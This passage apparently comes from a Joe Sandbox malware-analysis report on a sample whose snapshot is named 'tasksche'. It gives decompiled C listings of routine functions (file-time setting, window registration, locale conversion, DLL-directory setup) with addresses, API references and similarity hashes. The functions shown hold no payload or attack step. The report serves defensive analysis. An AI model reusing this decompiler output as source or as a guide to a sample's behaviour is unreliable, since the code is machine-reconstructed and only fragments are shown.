					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00423468
0x00423470
0x00423487
0x00423433
0x0042343c
0x00423448
0x0042344b
0x0042344e
0x00423450
0x00423453
0x00423458
0x00423462
0x0042345a
0x0042345e
0x0042345e
0x00423472
0x00423478
0x00423480
0x00000000
0x00423482
0x00423482
0x00423486
0x00423486
0x00423480

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0041D860), ref: 00423468
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00423478

Strings

IsProcessorFeaturePresent, xrefs: 00423472
KERNEL32, xrefs: 00423463

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 7ab99d9e72488d8bf21e4bf78f78cc33f843bd022a3d825351adfd90e0f12518
Instruction ID: 925bd1e911d968a2cf7935e923f91739ef174afc765d351c528eb22c7f6e48fa
Opcode Fuzzy Hash: 7ab99d9e72488d8bf21e4bf78f78cc33f843bd022a3d825351adfd90e0f12518
Instruction Fuzzy Hash: C7F03060B00A1AD2DB116FA1BC1A67F7B78FB80742FD105D1D6D5E0084DF7885B1D38A

Uniqueness

Uniqueness Score: -1.00%

Function 00419A36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419A36(intOrPtr* __ecx, intOrPtr _a4) {
				struct _WNDCLASSEXW _v52;
				short _t17;
				intOrPtr* _t18;
				intOrPtr _t21;

				_t21 = _a4;
				_t18 = __ecx;
				_v52.cbSize = 0x30;
				_v52.style = 0x828;
				_v52.lpfnWndProc = E004199EC;
				_v52.cbClsExtra = 0;
				_v52.cbWndExtra = 0;
				_v52.hInstance = _t21;
				_v52.hIcon = 0;
				_v52.hCursor = LoadCursorW(0, 0x7f00);
				_v52.hbrBackground = 6;
				_v52.lpszMenuName = 0;
				_v52.lpszClassName = L"RarHtmlClassName";
				_v52.hIconSm = 0;
				_t17 = RegisterClassExW( &_v52);
				 *_t18 = _t21;
				return _t17;
			}

0x00419a3e
0x00419a4a
0x00419a4c
0x00419a53
0x00419a5a
0x00419a61
0x00419a64
0x00419a67
0x00419a6a
0x00419a73
0x00419a7a
0x00419a81
0x00419a84
0x00419a8b
0x00419a8e
0x00419a95
0x00419a9a

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 00419A6D
RegisterClassExW.USER32 ref: 00419A8E

Strings

0, xrefs: 00419A4C
RarHtmlClassName, xrefs: 00419A84

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$RarHtmlClassName
API String ID: 1693014935-3342523147
Opcode ID: 191bbc33d2b33050640957ba9683b50acfea39c34108bf4aa43fc12e5a7eb183
Instruction ID: b9ed7023dc6f3226d58ddf2044dfc6b29f2317d5cd4a011e6e0fd8f9270d308a
Opcode Fuzzy Hash: 191bbc33d2b33050640957ba9683b50acfea39c34108bf4aa43fc12e5a7eb183
Instruction Fuzzy Hash: 81F0F2B1D00228ABCB019F9AD844AEEFBF8FF98304F10805BE500B6250D7B916018FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00410E1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00410E1C(signed char _a4) {
				struct HINSTANCE__* _t2;

				_t2 = GetModuleHandleW(L"kernel32");
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t2, "SetDllDirectoryW");
					if(_t2 != 0) {
						asm("sbb ecx, ecx");
						return _t2->i( ~(_a4 & 0x000000ff) & 0x0042a73c);
					}
				}
				return _t2;
			}

0x00410e21
0x00410e29
0x00410e31
0x00410e39
0x00410e42
0x00000000
0x00410e4b
0x00410e39
0x00410e4d

APIs

GetModuleHandleW.KERNEL32(kernel32,0040FF03,00000001), ref: 00410E21
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410E31

Strings

kernel32, xrefs: 00410E1C
SetDllDirectoryW, xrefs: 00410E2B

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetDllDirectoryW$kernel32
API String ID: 1646373207-2052158636
Opcode ID: 613fa81eedf6cfefe4bb79f79fd7d80da4da150b27e50d1fb967e6d6e35de1a2
Instruction ID: d1dc000951ac042e8af12af71ac4f40d64c7c6d3e89629ddd7054994e9706fe8
Opcode Fuzzy Hash: 613fa81eedf6cfefe4bb79f79fd7d80da4da150b27e50d1fb967e6d6e35de1a2
Instruction Fuzzy Hash: 2BD0A7B03243215797282B729C1AB2B65584B50F027944D3E7E0AC0080CA6DC0A0853F

Uniqueness

Uniqueness Score: -1.00%

Function 00409135 Relevance: 6.1, APIs: 4, Instructions: 128
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00409135(WCHAR* _a4, signed int* _a8, signed int* _a12, signed int* _a16) {
				signed char _v5;
				signed char _v6;
				signed char _v7;
				char _v8;
				void* _v12;
				signed char _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				short _v4136;
				signed int* _t48;
				signed int* _t49;
				signed int* _t50;
				signed char _t51;
				void* _t52;
				void* _t63;

				E0041AAF0(0x1024);
				_t48 = _a8;
				if(_t48 == 0) {
					L2:
					_v7 = 0;
				} else {
					_v7 = 1;
					if(( *_t48 | _t48[1]) == 0) {
						goto L2;
					}
				}
				_t49 = _a12;
				if(_t49 == 0) {
					L5:
					_v6 = 0;
				} else {
					_v6 = 1;
					if(( *_t49 | _t49[1]) == 0) {
						goto L5;
					}
				}
				_t50 = _a16;
				if(_t50 == 0) {
					L8:
					_v5 = 0;
				} else {
					_v5 = 1;
					if(( *_t50 | _t50[1]) == 0) {
						goto L8;
					}
				}
				_t51 = E00409041(_a4);
				_v16 = _t51;
				if(_t51 == 0xffffffff || (_t51 & 0x00000001) == 0) {
					_v8 = 0;
				} else {
					_v8 = 1;
					E0040908D(_a4, 0);
				}
				_t52 = CreateFileW(_a4, 0x40000000, 3, 0, 3, 0x2000000, 0);
				_v12 = _t52;
				if(_t52 != 0xffffffff) {
					L15:
					if(_v7 != 0) {
						E00411346(_a8,  &_v40);
					}
					if(_v6 != 0) {
						E00411346(_a12,  &_v32);
					}
					if(_v5 != 0) {
						E00411346(_a16,  &_v24);
					}
					asm("sbb eax, eax");
					asm("sbb eax, eax");
					asm("sbb eax, eax");
					SetFileTime(_v12,  ~(_v6 & 0x000000ff) &  &_v32,  ~(_v5 & 0x000000ff) &  &_v24,  ~(_v7 & 0x000000ff) &  &_v40);
					_t63 = CloseHandle(_v12);
					if(_v8 != 0) {
						return E0040908D(_a4, _v16);
					}
				} else {
					_t63 = E0040A3DC(_a4,  &_v4136, 0x800);
					if(_t63 != 0) {
						_t63 = CreateFileW( &_v4136, 0x40000000, 3, 0, 3, 0x2000000, 0);
						_v12 = _t63;
						if(_t63 != 0xffffffff) {
							goto L15;
						}
					}
				}
				return _t63;
			}

0x0040913d
0x00409142
0x0040914c
0x00409159
0x00409159
0x0040914e
0x00409153
0x00409157
0x00000000
0x00000000
0x00409157
0x0040915d
0x00409162
0x0040916f
0x0040916f
0x00409164
0x00409169
0x0040916d
0x00000000
0x00000000
0x0040916d
0x00409173
0x00409178
0x00409185
0x00409185
0x0040917a
0x0040917f
0x00409183
0x00000000
0x00000000
0x00409183
0x0040918c
0x00409191
0x00409197
0x0040929c
0x004091a5
0x004091a9
0x004091ad
0x004091ad
0x004091cd
0x004091cf
0x004091d5
0x00409212
0x00409216
0x0040921f
0x0040921f
0x00409228
0x00409231
0x00409231
0x0040923a
0x00409243
0x00409243
0x0040924e
0x0040925c
0x0040926a
0x00409275
0x0040927e
0x00409288
0x00000000
0x00409290
0x004091d7
0x004091e6
0x004091ed
0x00409204
0x00409206
0x0040920c
0x00000000
0x00000000
0x0040920c
0x004091ed
0x00409299

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,?,?,00407536,?,?,?), ref: 004091CD
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00407536,?,?,?,?), ref: 00409204
SetFileTime.KERNEL32(?,00000000,00000000,00000000,?,00407536,?,?,?,?), ref: 00409275
CloseHandle.KERNEL32(?,?,00407536,?,?,?,?), ref: 0040927E

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 6a8276f57ee53cdbc91cc020f39a17d418f5c9fb0df3296a94224ec9e042af11
Instruction ID: 149005b1c5d3a5dbb79089aff48ec9cca0dae1d541df05bff41c4f18bd56acf5
Opcode Fuzzy Hash: 6a8276f57ee53cdbc91cc020f39a17d418f5c9fb0df3296a94224ec9e042af11
Instruction Fuzzy Hash: 1141A131A00248BEEF12DBA4CC49FEE7BB89F05304F1445AAF851BB2D2C6789E45D755

Uniqueness

Uniqueness Score: -1.00%

Function 00424FCE Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00424FCE(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0041D0C8( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E00422793( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0041EDAE(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x00424fd8
0x00424fdf
0x00424ff6
0x00000000
0x00424fe6
0x00424fe8
0x00425002
0x00425007
0x0042500a
0x0042500d
0x00425036
0x0042503d
0x0042503f
0x004250c0
0x004250db
0x004250dd
0x0042501d
0x0042501d
0x00425020
0x00425022
0x00425025
0x00425025
0x00425025
0x00425025
0x00000000
0x0042502b
0x0042509f
0x0042509f
0x004250a4
0x004250aa
0x004250ad
0x004250af
0x004250b2
0x004250b2
0x004250b2
0x004250b2
0x00000000
0x004250b6
0x00425041
0x00425044
0x0042504a
0x0042504d
0x00425074
0x00425077
0x0042507d
0x00000000
0x00000000
0x0042507f
0x00425082
0x00000000
0x00000000
0x00425084
0x00425084
0x0042508a
0x0042508d
0x00424ffb
0x00424ffb
0x00425096
0x00000000
0x00425096
0x0042504f
0x00425052
0x00000000
0x00000000
0x00425056
0x00425067
0x0042506d
0x0042506f
0x00425072
0x00000000
0x00000000
0x00000000
0x00425072
0x0042500f
0x00425012
0x00425014
0x0042501a
0x0042501a
0x00000000
0x00424fea
0x00424fea
0x00424fef
0x00424ff3
0x00424ff3
0x00000000
0x00424fef
0x00424fe8

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00425002
__isleadbyte_l.LIBCMT ref: 00425036
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A9BA,?,00000000,00000000,?,?,?,?,0041A9BA,00000000,?), ref: 00425067
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A9BA,00000001,00000000,00000000,?,?,?,?,0041A9BA,00000000,?), ref: 004250D5

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5ede48c89caf3767bd10844c4e2adb50473344288511d083f5bbcd5d287f352f
Instruction ID: 432046cfce088e341913eb2016d1b5e66f5b1b0e2666f0ac1bd271c546b36d2c
Opcode Fuzzy Hash: 5ede48c89caf3767bd10844c4e2adb50473344288511d083f5bbcd5d287f352f
Instruction Fuzzy Hash: C831D131B00265EFDB20DF64EC809BA7BA0EF41310F5685AAE4618B2D1D735D981DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00413097 Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413097(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				void* __edi;
				char _t21;
				void* _t25;
				char _t27;
				char _t31;
				void* _t32;
				char _t33;
				void* _t34;

				_t34 = __ecx;
				_t27 = 1;
				 *((char*)(__ecx + 0xa6c)) = 1;
				 *((intOrPtr*)(__ecx + 0x660)) = _a4;
				E00412F1C(__ecx, __edx, __eflags);
				 *((char*)(__ecx + 0x86c)) = 0;
				 *((char*)(__ecx + 0x86d)) = 2;
				E0041A820(_t32, __ecx + 0x86e, 4, 9);
				E0041A820(_t32, _t34 + 0x877, 6, 0xf5);
				_t21 = 0;
				do {
					 *((char*)(_t34 + _t21 + 0x76c)) = _t21;
					_t21 = _t21 + 1;
				} while (_t21 < 3);
				_t31 = _t21;
				_t33 = 1;
				while(_t21 < 0x100) {
					_t33 = _t33 - 1;
					__eflags = _t33;
					 *((char*)(_t34 + _t21 + 0x76c)) = _t31;
					if(_t33 == 0) {
						_t27 = _t27 + 1;
						_t33 = _t27;
						_t31 = _t31 + 1;
						__eflags = _t31;
					}
					_t21 = _t21 + 1;
					__eflags = _t21;
				}
				E0041A820(_t33, _t34 + 0x96c, 0, 0x40);
				_t25 = E0041A820(_t33, _t34 + 0x9ac, 8, 0xc0);
				 *((char*)(_t34 + 0x642)) = 7;
				return _t25;
			}

0x0041309d
0x004130a1
0x004130a3
0x004130a9
0x004130af
0x004130bf
0x004130c6
0x004130cd
0x004130e0
0x004130e8
0x004130ea
0x004130ea
0x004130f1
0x004130f2
0x004130f7
0x004130f9
0x00413111
0x00413102
0x00413102
0x00413103
0x0041310a
0x0041310c
0x0041310d
0x0041310f
0x0041310f
0x0041310f
0x00413110
0x00413110
0x00413110
0x00413120
0x00413133
0x0041313c
0x00413145

APIs

Part of subcall function 00412F1C: _memset.LIBCMT ref: 00412F36

_memset.LIBCMT ref: 004130CD
_memset.LIBCMT ref: 004130E0
_memset.LIBCMT ref: 00413120
_memset.LIBCMT ref: 00413133

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction ID: dbb621f027503421eccd8689c294ebf88999011181a54c0115c225b35bd7b5a3
Opcode Fuzzy Hash: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction Fuzzy Hash: 9811487164478069E220EA7A4C46FE3B6DD9B1931CF44883FF2DEC7183C6AA6846C756

Uniqueness

Uniqueness Score: -1.00%

Function 00411072 Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00411072(void* __ecx, void* __edx, void* __edi) {
				void* __ebx;
				intOrPtr _t11;
				intOrPtr _t12;
				long* _t15;
				intOrPtr _t16;
				long* _t23;
				void* _t26;
				intOrPtr _t31;
				void* _t32;

				_t27 = __edi;
				_t26 = __edx;
				E0041A4DC(E004297F9, _t32);
				_push(__ecx);
				EnterCriticalSection(0x44f590);
				_t11 =  *0x44f588; // 0x0
				 *0x44f588 =  *0x44f588 + 1;
				_t35 = _t11;
				if(_t11 == 0) {
					_push(0x1b8);
					_t15 = E0041A89A(0x44f590, _t26, __edi, _t35);
					 *((intOrPtr*)(_t32 - 0x10)) = _t15;
					 *(_t32 - 4) =  *(_t32 - 4) & 0x00000000;
					if(_t15 == 0) {
						_t16 = 0;
						__eflags = 0;
					} else {
						_t16 = E00410F29(_t15, 0x20);
					}
					 *(_t32 - 4) =  *(_t32 - 4) | 0xffffffff;
					 *0x44f584 = _t16;
				}
				_t38 =  *0x44f588 - 1;
				if( *0x44f588 <= 1) {
					LeaveCriticalSection(0x44f590);
					_t12 =  *0x44f584; // 0x4f11f0
				} else {
					_push(0x1b8);
					_t23 = E0041A89A(0x44f590, _t26, _t27, _t38);
					 *((intOrPtr*)(_t32 - 0x10)) = _t23;
					 *(_t32 - 4) = 1;
					if(_t23 == 0) {
						_t31 = 0;
						__eflags = 0;
					} else {
						_t31 = E00410F29(_t23, 0x20);
					}
					LeaveCriticalSection(0x44f590);
					_t12 = _t31;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t32 - 0xc));
				return _t12;
			}

0x00411072
0x00411072
0x00411077
0x0041107c
0x00411085
0x0041108b
0x00411090
0x0041109b
0x0041109d
0x0041109f
0x004110a0
0x004110a6
0x004110a9
0x004110af
0x004110bc
0x004110bc
0x004110b1
0x004110b5
0x004110b5
0x004110be
0x004110c2
0x004110c2
0x004110c7
0x004110ce
0x00411100
0x00411106
0x004110d0
0x004110d0
0x004110d7
0x004110d9
0x004110dc
0x004110e5
0x004110f2
0x004110f2
0x004110e7
0x004110ee
0x004110ee
0x004110f5
0x004110fb
0x004110fb
0x00411110
0x00411118

APIs

__EH_prolog.LIBCMT ref: 00411077
EnterCriticalSection.KERNEL32(0044F590,?,?,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?), ref: 00411085
LeaveCriticalSection.KERNEL32(0044F590,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?,?,?), ref: 004110F5

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

LeaveCriticalSection.KERNEL32(0044F590,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?,?,?), ref: 00411100

Part of subcall function 00410F29: InitializeCriticalSection.KERNEL32(000001A0,?,000001B8,0044F590,004110EE,00000020,?,00409901,?,?,?,0040BB60,?,?,00000000,?), ref: 00410F62
Part of subcall function 00410F29: CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F6C
Part of subcall function 00410F29: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F7E

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CriticalSection$CreateLeave$EnterEventH_prologInitializeSemaphore_malloc
String ID:
API String ID: 1405584564-0
Opcode ID: 3f0bec743d3c3e54beb4ca038bcc84bad5a4a530a73f67f15a7eea00e341295c
Instruction ID: 491e5497db774d6ab3e78c5f78b9db4af1dc916e288055147b814ae628d52a75
Opcode Fuzzy Hash: 3f0bec743d3c3e54beb4ca038bcc84bad5a4a530a73f67f15a7eea00e341295c
Instruction Fuzzy Hash: 1A118234A01321EBD724AF74AC457EABBA4AB0C355F10453BE902E3692DBBC89D1865D

Uniqueness

Uniqueness Score: -1.00%

Function 0042332E Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042332E(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00422C1F(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00422D0F(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00423234(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00423179(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00423333
0x00423339
0x004233ac
0x00000000
0x00423340
0x00423340
0x00423343
0x0042335e
0x00423361
0x00423381
0x00423393
0x00423363
0x00423363
0x00423366
0x00000000
0x00423368
0x0042337a
0x0042337a
0x00423366
0x004233b1
0x004233b5
0x00423345
0x0042335d
0x0042335d
0x00423343

APIs

__cftof_l.LIBCMT ref: 00423354

Part of subcall function 00423179: __fltout2.LIBCMT ref: 004231A5

__cftog_l.LIBCMT ref: 0042337A
__cftoe_l.LIBCMT ref: 004233AC

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 44ddc5ebc1807cb1f8dbc3b2ce9dd0a677749795dee404b17e6a32e81244ff51
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: AE11723250015EFBCF125E85EC418EE3F32BB48355B988456FE1859130CA3ACAB2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 00411A8F Relevance: 6.0, APIs: 4, Instructions: 34
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411A8F(void* __ecx, intOrPtr _a4) {
				short _v4612;
				long _t11;
				int _t14;
				signed int _t16;

				E0041AAF0(0x1200);
				E0040BC16( &_v4612, 0x900, E0040C3BF(0x83), _a4);
				_t11 = GetLastError();
				_t14 = MessageBoxW( *0x441840,  &_v4612, E0040C3BF(0x96), 0x35);
				SetLastError(_t11);
